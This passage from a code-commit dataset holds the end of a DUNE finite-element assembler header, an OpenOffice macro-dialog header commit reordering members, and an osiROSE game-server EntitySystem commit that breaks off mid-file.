InnerTestBaseFunctionSetType;\n typedef typename OuterAnsatzSpaceType::BaseFunctionSetType::LocalBaseFunctionSetType OuterAnsatzBaseFunctionSetType;\n typedef typename OuterTestSpaceType::BaseFunctionSetType::LocalBaseFunctionSetType OuterTestBaseFunctionSetType;\n \/\/ get inside entity and basefunctionsets\n const EntityPointerType insideEntityPtr = intersection.inside();\n const EntityType& insideEntity = *insideEntityPtr;\n const InnerAnsatzBaseFunctionSetType innerAnsatzBaseFunctionSet =\n innerAnsatzSpace.baseFunctionSet().local(insideEntity);\n const InnerTestBaseFunctionSetType innerTestBaseFunctionSet = innerTestSpace.baseFunctionSet().local(insideEntity);\n \/\/ get outside neighbor and basefunctionsets\n const EntityPointerType outsideNeighborPtr = intersection.outside();\n const EntityType& outsideNeighbor = *outsideNeighborPtr;\n const OuterAnsatzBaseFunctionSetType outerAnsatzBaseFunctionSet =\n outerAnsatzSpace.baseFunctionSet().local(outsideNeighbor);\n const OuterTestBaseFunctionSetType outerTestBaseFunctionSet =\n outerTestSpace.baseFunctionSet().local(outsideNeighbor);\n \/\/ ensure enough tmp local matrices\n assert(tmpLocalMatricesContainer.size() > 1);\n std::vector<LocalMatrixType>& tmpLocalMatrices = tmpLocalMatricesContainer[0];\n if (tmpLocalMatrices.size() < numTmpObjectsRequired_) {\n tmpLocalMatrices.resize(\n numTmpObjectsRequired_,\n LocalMatrixType(std::max(innerAnsatzSpace.map().maxLocalSize(), outerAnsatzSpace.map().maxLocalSize()),\n std::max(innerTestSpace.map().maxLocalSize(), outerTestSpace.map().maxLocalSize()),\n RangeFieldType(0.0)));\n } \/\/ ensure enough tmp local matrices\n \/\/ apply local operator\n localOperator_.applyLocal(innerAnsatzBaseFunctionSet,\n innerTestBaseFunctionSet,\n outerAnsatzBaseFunctionSet,\n outerTestBaseFunctionSet,\n intersection,\n tmpLocalMatrices[0], \/\/ inside\/inside\n tmpLocalMatrices[1], \/\/ outside\/outside\n tmpLocalMatrices[2], \/\/ inside\/outside\n tmpLocalMatrices[3], \/\/ outside\/inside\n tmpLocalMatricesContainer[1]);\n \/\/ write local matrices to global (see below)\n addToMatrix(innerAnsatzSpace, innerTestSpace, insideEntity, insideEntity, tmpLocalMatrices[0], innerInnerMatrix);\n addToMatrix(\n outerAnsatzSpace, outerTestSpace, outsideNeighbor, outsideNeighbor, tmpLocalMatrices[1], outerOuterMatrix);\n addToMatrix(innerAnsatzSpace, outerTestSpace, insideEntity, outsideNeighbor, tmpLocalMatrices[2], innerOuterMatrix);\n addToMatrix(outerAnsatzSpace, innerTestSpace, outsideNeighbor, insideEntity, tmpLocalMatrices[3], outerInnerMatrix);\n } \/\/ void assembleLocal() const\n\nprivate:\n \/\/! assignment operator\n ThisType& operator=(const ThisType&);\n\n template <class AnsatzSpaceType, class TestSpaceType, class EntityType, class LocalMatrixType, class SystemMatrixType>\n void addToMatrix(const AnsatzSpaceType& ansatzSpace, const TestSpaceType& testSpace, const EntityType& ansatzEntity,\n const EntityType& testEntity, const LocalMatrixType& localMatrix,\n SystemMatrixType& systemMatrix) const\n {\n unsigned int rows = ansatzSpace.baseFunctionSet().local(ansatzEntity).size();\n unsigned int cols = testSpace.baseFunctionSet().local(testEntity).size();\n for (unsigned int i = 0; i < rows; ++i) {\n for (unsigned int j = 0; j < cols; ++j) {\n const unsigned int globalI = ansatzSpace.map().toGlobal(ansatzEntity, i);\n const unsigned int globalJ = testSpace.map().toGlobal(testEntity, j);\n\n systemMatrix.add(globalI, globalJ, localMatrix[i][j]);\n }\n }\n } \/\/ end method addToMatrix\n\n const LocalOperatorType& localOperator_;\n}; \/\/ end class Inner\n\ntemplate <class LocalOperatorImp>\nclass Boundary\n{\npublic:\n typedef LocalOperatorImp LocalOperatorType;\n\n typedef Boundary<LocalOperatorType> ThisType;\n\n typedef typename LocalOperatorType::RangeFieldType RangeFieldType;\n\n Boundary(const LocalOperatorType& localOperator)\n : localOperator_(localOperator)\n {\n }\n\n const LocalOperatorType& localOperator() const\n {\n return localOperator_;\n }\n\nprivate:\n static const unsigned int numTmpObjectsRequired_ = 4;\n\npublic:\n std::vector<unsigned int> numTmpObjectsRequired() const\n {\n std::vector<unsigned int> ret(2, 0);\n ret[0] = numTmpObjectsRequired_;\n ret[1] = localOperator_.numTmpObjectsRequired();\n return ret;\n } \/\/ std::vector< unsigned int > numTmpObjectsRequired() const\n\n template <class IntersectionType, class AnsatzSpaceType, class TestSpaceType, class MatrixBackendType,\n class LocalMatrixType>\n void assembleLocal(const IntersectionType& intersection, const AnsatzSpaceType& ansatzSpace,\n const TestSpaceType& testSpace, MatrixBackendType& matrix,\n std::vector<std::vector<LocalMatrixType>>& tmpLocalMatricesContainer) const\n {\n \/\/ preparations\n assert(intersection.boundary());\n typedef typename IntersectionType::EntityPointer EntityPointerType;\n typedef typename IntersectionType::Entity EntityType;\n typedef typename AnsatzSpaceType::BaseFunctionSetType::LocalBaseFunctionSetType LocalAnsatzBaseFunctionSetType;\n typedef typename TestSpaceType::BaseFunctionSetType::LocalBaseFunctionSetType LocalTestBaseFunctionSetType;\n \/\/ get inside entity and basefunctionsets\n const EntityPointerType entityPtr = intersection.inside();\n const EntityType& entity = *entityPtr;\n const LocalAnsatzBaseFunctionSetType localAnsatzBaseFunctionSet = ansatzSpace.baseFunctionSet().local(entity);\n const LocalTestBaseFunctionSetType localTestBaseFunctionSet = testSpace.baseFunctionSet().local(entity);\n \/\/ ensure enough tmp local matrices\n assert(tmpLocalMatricesContainer.size() > 1);\n std::vector<LocalMatrixType>& tmpLocalMatrices = tmpLocalMatricesContainer[0];\n if (tmpLocalMatrices.size() < numTmpObjectsRequired_) {\n tmpLocalMatrices.resize(\n numTmpObjectsRequired_,\n LocalMatrixType(ansatzSpace.map().maxLocalSize(), testSpace.map().maxLocalSize(), RangeFieldType(0.0)));\n } \/\/ ensure enough tmp local matrices\n \/\/ apply local operator\n localOperator_.applyLocal(localAnsatzBaseFunctionSet,\n localTestBaseFunctionSet,\n intersection,\n tmpLocalMatrices[0],\n tmpLocalMatricesContainer[1]);\n \/\/ write local matrices to global (see below)\n addToMatrix(ansatzSpace, testSpace, entity, entity, tmpLocalMatrices[0], matrix);\n } \/\/ void assembleLocal() const\n\nprivate:\n \/\/! assignment operator\n ThisType& operator=(const ThisType&);\n\n template <class AnsatzSpaceType, class TestSpaceType, class EntityType, class LocalMatrixType, class SystemMatrixType>\n void addToMatrix(const AnsatzSpaceType& ansatzSpace, const TestSpaceType& testSpace, const EntityType& ansatzEntity,\n const EntityType& testEntity, const LocalMatrixType& localMatrix,\n SystemMatrixType& systemMatrix) const\n {\n unsigned int rows = ansatzSpace.baseFunctionSet().local(ansatzEntity).size();\n unsigned int cols = testSpace.baseFunctionSet().local(testEntity).size();\n for (unsigned int i = 0; i < rows; ++i) {\n for (unsigned int j = 0; j < cols; ++j) {\n const unsigned int globalI = ansatzSpace.map().toGlobal(ansatzEntity, i);\n const unsigned int globalJ = testSpace.map().toGlobal(testEntity, j);\n\n systemMatrix.add(globalI, globalJ, localMatrix[i][j]);\n }\n }\n } \/\/ end method addToMatrix\n\n const LocalOperatorType& localOperator_;\n}; \/\/ end class Boundary\n\n} \/\/ end namespace Codim1\n\n} \/\/ end namespace Local\n\n} \/\/ end namespace Assembler\n\n} \/\/ namespace Discretizations\n\n} \/\/ namespace Detailed\n\n} \/\/ end namespace Dune\n\n#endif \/\/ DUNE_DETAILED_DISCRETIZATIONS_ASSEMLBER_LOCAL_CODIM1_MATRIX_HH\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: macrodlg.hxx,v $\n *\n * $Revision: 1.8 $\n *\n * last change: $Author: rt $ $Date: 2005-09-07 20:06:02 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\/\/\n#ifndef _MACRODLG_HXX\n#define _MACRODLG_HXX\n\n#ifndef _SVHEADER_HXX\n#include <svheader.hxx>\n#endif\n\n#include <bastype2.hxx>\n#include <bastype3.hxx>\n\n#ifndef _BASEDLGS_HXX \/\/autogen\n#include <sfx2\/basedlgs.hxx>\n#endif\n\n#ifndef _SV_FIXED_HXX \/\/autogen\n#include <vcl\/fixed.hxx>\n#endif\n\n#ifndef _SV_BUTTON_HXX \/\/autogen\n#include <vcl\/button.hxx>\n#endif\n\n#define MACRO_CLOSE 10\n#define MACRO_OK_RUN 11\n#define MACRO_NEW 12\n#define MACRO_EDIT 14\n#define MACRO_ORGANIZE 15\n#define MACRO_ASSIGN 16\n\n#define MACROCHOOSER_ALL 1\n#define MACROCHOOSER_CHOOSEONLY 2\n#define MACROCHOOSER_RECORDING 3\n\nclass BasicManager;\n\nclass MacroChooser : public SfxModalDialog\n{\nprivate:\n FixedText aMacroNameTxt;\n Edit aMacroNameEdit;\n FixedText aMacrosInTxt;\n String aMacrosInTxtBaseStr;\n SvTreeListBox aMacroBox;\n FixedText aMacroFromTxT;\n FixedText aMacrosSaveInTxt;\n BasicTreeListBox aBasicBox;\n\n PushButton aRunButton;\n CancelButton aCloseButton;\n PushButton aAssignButton;\n PushButton aEditButton;\n PushButton aNewDelButton;\n PushButton aOrganizeButton;\n HelpButton aHelpButton;\n PushButton aNewLibButton;\n PushButton aNewModButton;\n\n BOOL bNewDelIsDel;\n BOOL bForceStoreBasic;\n\n USHORT nMode;\n\n DECL_LINK( MacroSelectHdl, SvTreeListBox * );\n DECL_LINK( MacroDoubleClickHdl, SvTreeListBox * );\n DECL_LINK( BasicSelectHdl, SvTreeListBox * );\n DECL_LINK( EditModifyHdl, Edit * );\n DECL_LINK( ButtonHdl, Button * );\n\n void CheckButtons();\n void SaveSetCurEntry( SvTreeListBox& rBox, SvLBoxEntry* pEntry );\n void UpdateFields();\n\n void EnableButton( Button& rButton, BOOL bEnable );\n\n String GetInfo( SbxVariable* pVar );\n\n void StoreMacroDescription();\n void RestoreMacroDescription();\n\npublic:\n MacroChooser( Window* pParent, BOOL bCreateEntries = TRUE );\n ~MacroChooser();\n\n SbMethod* GetMacro();\n void DeleteMacro();\n SbMethod* CreateMacro();\n\n virtual short Execute();\n\n void SetMode( USHORT nMode );\n USHORT GetMode() const { return nMode; }\n};\n\n#endif \/\/ _MACRODLG_HXX\n<commit_msg>INTEGRATION: CWS basmgr02 (1.8.146); FILE MERGED 2007\/01\/11 10:40:03 fs 1.8.146.1: during #i73329#: proper Z-(means: tab-)order<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: macrodlg.hxx,v $\n *\n * $Revision: 1.9 $\n *\n * last change: $Author: obo $ $Date: 2007-03-15 15:57:16 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\/\/\n#ifndef _MACRODLG_HXX\n#define _MACRODLG_HXX\n\n#ifndef _SVHEADER_HXX\n#include <svheader.hxx>\n#endif\n\n#include <bastype2.hxx>\n#include <bastype3.hxx>\n\n#ifndef _BASEDLGS_HXX \/\/autogen\n#include <sfx2\/basedlgs.hxx>\n#endif\n\n#ifndef _SV_FIXED_HXX \/\/autogen\n#include <vcl\/fixed.hxx>\n#endif\n\n#ifndef _SV_BUTTON_HXX \/\/autogen\n#include <vcl\/button.hxx>\n#endif\n\n#define MACRO_CLOSE 10\n#define MACRO_OK_RUN 11\n#define MACRO_NEW 12\n#define MACRO_EDIT 14\n#define MACRO_ORGANIZE 15\n#define MACRO_ASSIGN 16\n\n#define MACROCHOOSER_ALL 1\n#define MACROCHOOSER_CHOOSEONLY 2\n#define MACROCHOOSER_RECORDING 3\n\nclass BasicManager;\n\nclass MacroChooser : public SfxModalDialog\n{\nprivate:\n FixedText aMacroNameTxt;\n Edit aMacroNameEdit;\n FixedText aMacroFromTxT;\n FixedText aMacrosSaveInTxt;\n BasicTreeListBox aBasicBox;\n FixedText aMacrosInTxt;\n String aMacrosInTxtBaseStr;\n SvTreeListBox aMacroBox;\n\n PushButton aRunButton;\n CancelButton aCloseButton;\n PushButton aAssignButton;\n PushButton aEditButton;\n PushButton aNewDelButton;\n PushButton aOrganizeButton;\n HelpButton aHelpButton;\n PushButton aNewLibButton;\n PushButton aNewModButton;\n\n BOOL bNewDelIsDel;\n BOOL bForceStoreBasic;\n\n USHORT nMode;\n\n DECL_LINK( MacroSelectHdl, SvTreeListBox * );\n DECL_LINK( MacroDoubleClickHdl, SvTreeListBox * );\n DECL_LINK( BasicSelectHdl, SvTreeListBox * );\n DECL_LINK( EditModifyHdl, Edit * );\n DECL_LINK( ButtonHdl, Button * );\n\n void CheckButtons();\n void SaveSetCurEntry( SvTreeListBox& rBox, SvLBoxEntry* pEntry );\n void UpdateFields();\n\n void EnableButton( Button& rButton, BOOL bEnable );\n\n String GetInfo( SbxVariable* pVar );\n\n void StoreMacroDescription();\n void RestoreMacroDescription();\n\npublic:\n MacroChooser( Window* pParent, BOOL bCreateEntries = TRUE );\n ~MacroChooser();\n\n SbMethod* GetMacro();\n void DeleteMacro();\n SbMethod* CreateMacro();\n\n virtual short Execute();\n\n void SetMode( USHORT nMode );\n USHORT GetMode() const { return nMode; }\n};\n\n#endif \/\/ _MACRODLG_HXX\n<|endoftext|>"} {"text":"<commit_before>#include <set>\n#include <vector>\n\n#include \"entitysystem.h\"\n#include \"cmapclient.h\"\n#include \"cmapserver.h\"\n#include \"connection.h\"\n#include \"systems\/chatsystem.h\"\n#include \"systems\/inventorysystem.h\"\n#include \"systems\/luasystem.h\"\n#include \"systems\/mapsystem.h\"\n#include \"systems\/movementsystem.h\"\n#include \"systems\/partysystem.h\"\n#include \"systems\/updatesystem.h\"\n\n#include \"srv_npcchar.h\"\n\nusing namespace RoseCommon;\nEntitySystem::EntitySystem(CMapServer *server) : systemManager_(*this), server_(server) {\n systemManager_.add<Systems::MovementSystem>();\n systemManager_.add<Systems::UpdateSystem>();\n systemManager_.add<Systems::ChatSystem>();\n systemManager_.add<Systems::InventorySystem>();\n systemManager_.add<Systems::PartySystem>();\n systemManager_.add<Systems::MapSystem>();\n systemManager_.add<Systems::LuaSystem>();\n}\nEntityManager& EntitySystem::getEntityManager() { return entityManager_; }\n\nEntity EntitySystem::buildItemEntity(Entity creator, RoseCommon::Item&& item) {\n Entity e = create();\n e.assign<Item>(std::move(item));\n auto pos = creator.component<Position>();\n e.assign<Position>(pos->x_, pos->y_, pos->map_, 0);\n auto basic = e.assign<BasicInfo>();\n basic->ownerId_ = creator.component<BasicInfo>()->id_;\n basic->id_ = id_manager_.get_free_id();\n itemToEntity_[basic->id_] = e;\n return e;\n}\n\nvoid EntitySystem::registerEntity(Entity entity) {\n if (!entity) return;\n auto basic = entity.component<BasicInfo>();\n if (!basic || basic->name_ == \"\" || !basic->id_) return;\n nameToEntity_[basic->name_] = entity;\n idToEntity_[basic->id_] = entity;\n}\n\nEntity EntitySystem::getItemEntity(uint32_t id) { return itemToEntity_[id]; }\n\nEntity EntitySystem::getEntity(const std::string& name) { return nameToEntity_[name]; }\n\nEntity EntitySystem::getEntity(uint32_t charId) { return idToEntity_[charId]; }\n\nvoid EntitySystem::update(double dt) {\n std::lock_guard<std::mutex> lock(access_);\n for (auto& it : create_commands_) {\n it->execute(*this);\n }\n create_commands_.clear();\n while (toDispatch_.size()) {\n auto tmp = std::move(toDispatch_.front());\n systemManager_.dispatch(tmp.first, *tmp.second);\n toDispatch_.pop();\n }\n systemManager_.update(dt);\n for (auto& it : delete_commands_) {\n it->execute(*this);\n }\n delete_commands_.clear();\n}\n\nvoid EntitySystem::destroy(Entity entity) {\n if (!entity) return;\n std::unique_ptr<CommandBase> ptr{new Command([this, entity] (EntitySystem &) mutable {\n if (!entity) return;\n if (!entity.component<Warpgate>()) {\n if (auto client = getClient(entity); client)\n SendPacket(client, CMapServer::eSendType::EVERYONE_BUT_ME,\n *makePacket<ePacketType::PAKWC_REMOVE_OBJECT>(entity));\n else\n SendPacket(std::shared_ptr<CMapClient>{}, CMapServer::eSendType::EVERYONE,\n *makePacket<ePacketType::PAKWC_REMOVE_OBJECT>(entity));\n if (!entity.component<Npc>()) {\n saveCharacter(entity.component<CharacterInfo>()->charId_, entity);\n auto basic = entity.component<BasicInfo>();\n nameToEntity_.erase(basic->name_);\n idToEntity_.erase(basic->id_);\n id_manager_.release_id(basic->id_);\n }\n }\n entity.destroy();\n })};\n std::lock_guard<std::mutex> lock(access_);\n delete_commands_.emplace_back(std::move(ptr));\n}\n\nEntity EntitySystem::create() { return entityManager_.create(); }\n\nbool EntitySystem::isNearby(Entity a, Entity b) {\n return systemManager_.get<Systems::MovementSystem>()->is_nearby(a, b);\n}\n\nbool EntitySystem::dispatch(Entity entity, std::unique_ptr<RoseCommon::CRosePacket> packet) {\n if (!entity) return false;\n if (systemManager_.wouldDispatch(*packet)) {\n std::lock_guard<std::mutex> lock(access_);\n toDispatch_.emplace(std::make_pair(entity, std::move(packet)));\n return true;\n }\n return false;\n}\n\nEntity EntitySystem::loadCharacter(uint32_t charId, bool platinium) {\n auto conn = Core::connectionPool.getConnection(Core::osirose);\n Core::CharacterTable characters{};\n Core::InventoryTable inventoryTable{};\n Core::SkillTable skillsTable{};\n\n auto charRes = conn(sqlpp::select(sqlpp::count(characters.id), sqlpp::all_of(characters))\n .from(characters)\n .where(characters.id == charId));\n\n std::lock_guard<std::mutex> lock(access_);\n auto entity = create();\n if (static_cast<long>(charRes.front().count) != 1L) {\n entity.destroy();\n return Entity();\n }\n const auto& charRow = charRes.front();\n\n entity.assign<Position>(charRow);\n entity.assign<BasicInfo>(charRow, id_manager_.get_free_id());\n entity.assign<Stats>(charRow);\n entity.assign<AdvancedInfo>(charRow);\n entity.assign<CharacterGraphics>(charRow);\n entity.assign<CharacterInfo>(charRow, platinium, charId);\n\n \/\/ TODO : write the pat initialization code\n auto skills = entity.assign<Skills>();\n auto skillRes =\n conn(sqlpp::select(skillsTable.id, skillsTable.level).from(skillsTable).where(skillsTable.charId == charId));\n skills->loadFromResult(skillRes);\n\n \/\/ TODO : write the hotbar table and loading code\n entity.assign<Hotbar>();\n entity.assign<StatusEffects>();\n entity.assign<RidingItems>();\n entity.assign<BulletItems>();\n\n \/\/ TODO : write the inventory code\n \/\/ auto luaSystem = systemManager_.get<Systems::LuaSystem>();\n auto inventory = entity.assign<Inventory>();\n\n auto invRes =\n conn(sqlpp::select(sqlpp::all_of(inventoryTable)).from(inventoryTable).where(inventoryTable.charId == charId));\n inventory->loadFromResult(invRes, get<Systems::InventorySystem>());\n\n Systems::UpdateSystem::calculateSpeed(entity);\n\n entity.assign<Quests>();\n\n Core::WishTable wish{};\n auto wishRes = conn(sqlpp::select(sqlpp::all_of(wish)).from(wish).where(wish.charId == charId));\n auto wishlist = entity.assign<Wishlist>();\n wishlist->loadFromResult(wishRes, get<Systems::InventorySystem>());\n\n \/\/ auto lua = entity.assign<EntityAPI>();\n\n \/\/ luaSystem->loadScript(entity, \"function onInit()\\ndisplay('test')\\nend\");\n \/\/ lua->onInit();\n\n registerEntity(entity);\n return entity;\n}\n\nvoid EntitySystem::saveCharacter(uint32_t charId, Entity entity) {\n if (!entity) return;\n auto conn = Core::connectionPool.getConnection(Core::osirose);\n Core::CharacterTable characters{};\n\n using sqlpp::parameter;\n\n auto update = sqlpp::dynamic_update(conn.get(), characters).dynamic_set().where(characters.id == charId);\n entity.component<Position>()->commitToUpdate<decltype(characters)>(update);\n entity.component<BasicInfo>()->commitToUpdate<decltype(characters)>(update);\n entity.component<Stats>()->commitToUpdate<decltype(characters)>(update);\n entity.component<AdvancedInfo>()->commitToUpdate<decltype(characters)>(update);\n \/\/ entity.component<CharacterGraphics>()->commitToUpdate(update);\n entity.component<CharacterInfo>()->commitToUpdate<decltype(characters)>(update);\n \/\/ entity.component<Hotbar>()->commitToUpdate(update);\n \/\/ entity.component<StatusEffects>()->commitToUpdate(update);\n \/\/ entity.component<RidingItems>()->commitToUpdate(update);\n \/\/ entity.component<BulletItems>()->commitToUpdate(update);\n\n conn->run(update);\n\n \/\/ entity.component<Skills>()->commitToUpdate(updateSkills);\n\n Core::InventoryTable inv{};\n auto invRes = conn(sqlpp::select(sqlpp::all_of(inv)).from(inv).where(inv.charId == charId));\n\n const auto& items = entity.component<Inventory>()->items_;\n\n std::vector<size_t> toDelete;\n std::vector<size_t> toUpdate;\n std::set<size_t> modified;\n std::vector<size_t> toInsert;\n\n for (const auto& row : invRes) {\n if (row.slot >= Inventory::maxItems)\n toDelete.emplace_back(row.slot); \/\/ FIXME: that should never happen\n else if (!items[row.slot])\n toDelete.emplace_back(row.slot);\n else if (items[row.slot] != Item(row))\n toUpdate.emplace_back(row.slot);\n modified.insert(row.slot);\n }\n size_t i = 0;\n for (const auto& item : items) {\n if (item && modified.find(i) == modified.end()) toInsert.emplace_back(i);\n ++i;\n }\n\n for (auto it : toDelete) conn(sqlpp::remove_from(inv).where(inv.charId == charId and inv.slot == it));\n for (auto it : toUpdate) {\n auto update = sqlpp::dynamic_update(conn.get(), inv).dynamic_set().where(inv.charId == charId and inv.slot == it);\n items[it].commitToUpdate<decltype(inv)>(update);\n conn->run(update);\n }\n for (auto it : toInsert) {\n auto insert = sqlpp::dynamic_insert_into(conn.get(), inv).dynamic_set();\n items[it].commitToInsert<decltype(inv)>(insert);\n insert.insert_list.add(inv.slot = it);\n insert.insert_list.add(inv.charId = charId);\n conn->run(insert);\n }\n}\n\nEntity EntitySystem::create_warpgate(std::string alias, int dest_map_id, float dest_x, float dest_y, float dest_z,\n int map_id, float x, float y, float z, float angle,\n float x_scale, float y_scale, float z_scale) {\n Entity e = create();\n std::unique_ptr<CommandBase> ptr{new Command([alias, dest_map_id, dest_x, dest_y, dest_z,\n map_id, x, y, z, angle, x_scale, y_scale, z_scale,\n e] (EntitySystem &es) mutable {\n if (!e) return;\n e.assign<BasicInfo>(es.id_manager_.get_free_id());\n\n auto pos = e.assign<Position>(x * 100, y * 100, map_id, 0);\n\n pos->z_ = static_cast<uint16_t>(z);\n pos->angle_ = angle;\n\n auto dest = e.assign<Destination>(dest_x * 100, dest_y * 100, dest_map_id);\n dest->z_ = static_cast<uint16_t>(dest_z);\n })};\n create_commands_.emplace_back(std::move(ptr));\n return e;\n}\n\nEntity EntitySystem::create_npc(std::string npc_lua, int npc_id, int map_id, float x, float y, float z, float angle) {\n Entity e = create();\n std::unique_ptr<CommandBase> ptr{new Command([npc_lua, npc_id, map_id, x, y, z, angle, e] (EntitySystem &es) mutable {\n if (!e) return;\n e.assign<BasicInfo>(es.id_manager_.get_free_id());\n e.assign<AdvancedInfo>();\n e.assign<CharacterInfo>();\n\n uint16_t dialog_id = 0;\n if (!npc_lua.empty()) {\n dialog_id = std::stoi(npc_lua);\n }\n e.assign<Npc>(npc_id, dialog_id);\n auto pos = e.assign<Position>(x * 100, y * 100, map_id, 0);\n\n pos->z_ = static_cast<uint16_t>(z);\n pos->angle_ = angle;\n \/\/e.assign<EntityApi>();\n \/\/ we send the new NPC to the existing clients\n es.SendPacket(std::shared_ptr<CMapClient>{}, CMapServer::eSendType::EVERYONE,\n *makePacket<ePacketType::PAKWC_NPC_CHAR>(e));\n })};\n create_commands_.emplace_back(std::move(ptr));\n return e;\n}\n\nEntity EntitySystem::create_spawner(std::string alias, int mob_id, int mob_count,\n int spawner_limit, int spawner_interval, int spawner_range,\n int map_id, float x, float y, float z) {\n return {};\n}\n\nvoid EntitySystem::bulk_destroy(const std::vector<Entity>& s) {\n std::unique_ptr<CommandBase> ptr{new Command([this, s] (EntitySystem &) mutable {\n for (auto entity : s) {\n if (!entity) continue;\n if (!entity.component<Warpgate>())\n SendPacket(std::shared_ptr<CMapClient>{}, CMapServer::eSendType::EVERYONE,\n *makePacket<ePacketType::PAKWC_REMOVE_OBJECT>(entity));\n entity.destroy();\n }\n })};\n std::lock_guard<std::mutex> lock(access_);\n delete_commands_.emplace_back(std::move(ptr));\n}\n\nLuaScript::ScriptLoader& EntitySystem::get_script_loader() noexcept {\n return server_->get_script_loader();\n}\n\nvoid EntitySystem::SendPacket(const std::shared_ptr<CMapClient>& sender, CMapServer::eSendType type,\n CRosePacket& _buffer) {\n server_->SendPacket(sender, type, _buffer);\n}\n\nvoid EntitySystem::SendPacket(const CMapClient& sender, CMapServer::eSendType type, CRosePacket& _buffer) {\n server_->SendPacket(sender, type, _buffer);\n}\n<commit_msg>Removed unecessary stuff<commit_after>#include <set>\n#include <vector>\n\n#include \"entitysystem.h\"\n#include \"cmapclient.h\"\n#include \"cmapserver.h\"\n#include \"connection.h\"\n#include \"systems\/chatsystem.h\"\n#include \"systems\/inventorysystem.h\"\n#include \"systems\/luasystem.h\"\n#include \"systems\/mapsystem.h\"\n#include \"systems\/movementsystem.h\"\n#include \"systems\/partysystem.h\"\n#include \"systems\/updatesystem.h\"\n\n#include \"srv_npcchar.h\"\n\nusing namespace RoseCommon;\nEntitySystem::EntitySystem(CMapServer *server) : systemManager_(*this), server_(server) {\n systemManager_.add<Systems::MovementSystem>();\n systemManager_.add<Systems::UpdateSystem>();\n systemManager_.add<Systems::ChatSystem>();\n systemManager_.add<Systems::InventorySystem>();\n systemManager_.add<Systems::PartySystem>();\n systemManager_.add<Systems::MapSystem>();\n systemManager_.add<Systems::LuaSystem>();\n}\nEntityManager& EntitySystem::getEntityManager() { return entityManager_; }\n\nEntity EntitySystem::buildItemEntity(Entity creator, RoseCommon::Item&& item) {\n Entity e = create();\n e.assign<Item>(std::move(item));\n auto pos = creator.component<Position>();\n e.assign<Position>(pos->x_, pos->y_, pos->map_, 0);\n auto basic = e.assign<BasicInfo>();\n basic->ownerId_ = creator.component<BasicInfo>()->id_;\n basic->id_ = id_manager_.get_free_id();\n itemToEntity_[basic->id_] = e;\n return e;\n}\n\nvoid EntitySystem::registerEntity(Entity entity) {\n if (!entity) return;\n auto basic = entity.component<BasicInfo>();\n if (!basic || basic->name_ == \"\" || !basic->id_) return;\n nameToEntity_[basic->name_] = entity;\n idToEntity_[basic->id_] = entity;\n}\n\nEntity EntitySystem::getItemEntity(uint32_t id) { return itemToEntity_[id]; }\n\nEntity EntitySystem::getEntity(const std::string& name) { return nameToEntity_[name]; }\n\nEntity EntitySystem::getEntity(uint32_t charId) { return idToEntity_[charId]; }\n\nvoid EntitySystem::update(double dt) {\n std::lock_guard<std::mutex> lock(access_);\n for (auto& it : create_commands_) {\n it->execute(*this);\n }\n create_commands_.clear();\n while (toDispatch_.size()) {\n auto tmp = std::move(toDispatch_.front());\n systemManager_.dispatch(tmp.first, *tmp.second);\n toDispatch_.pop();\n }\n systemManager_.update(dt);\n for (auto& it : delete_commands_) {\n it->execute(*this);\n }\n delete_commands_.clear();\n}\n\nvoid EntitySystem::destroy(Entity entity) {\n if (!entity) return;\n std::unique_ptr<CommandBase> ptr{new Command([entity] (EntitySystem &es) mutable {\n if (!entity) return;\n if (!entity.component<Warpgate>()) {\n if (auto client = getClient(entity); client)\n es.SendPacket(client, CMapServer::eSendType::EVERYONE_BUT_ME,\n *makePacket<ePacketType::PAKWC_REMOVE_OBJECT>(entity));\n else\n es.SendPacket(std::shared_ptr<CMapClient>{}, CMapServer::eSendType::EVERYONE,\n *makePacket<ePacketType::PAKWC_REMOVE_OBJECT>(entity));\n if (!entity.component<Npc>()) {\n es.saveCharacter(entity.component<CharacterInfo>()->charId_, entity);\n auto basic = entity.component<BasicInfo>();\n es.nameToEntity_.erase(basic->name_);\n es.idToEntity_.erase(basic->id_);\n es.id_manager_.release_id(basic->id_);\n }\n }\n entity.destroy();\n })};\n std::lock_guard<std::mutex> lock(access_);\n delete_commands_.emplace_back(std::move(ptr));\n}\n\nEntity EntitySystem::create() { return entityManager_.create(); }\n\nbool EntitySystem::isNearby(Entity a, Entity b) {\n return systemManager_.get<Systems::MovementSystem>()->is_nearby(a, b);\n}\n\nbool EntitySystem::dispatch(Entity entity, std::unique_ptr<RoseCommon::CRosePacket> packet) {\n if (!entity) return false;\n if (systemManager_.wouldDispatch(*packet)) {\n std::lock_guard<std::mutex> lock(access_);\n toDispatch_.emplace(std::make_pair(entity, std::move(packet)));\n return true;\n }\n return false;\n}\n\nEntity EntitySystem::loadCharacter(uint32_t charId, bool platinium) {\n auto conn = 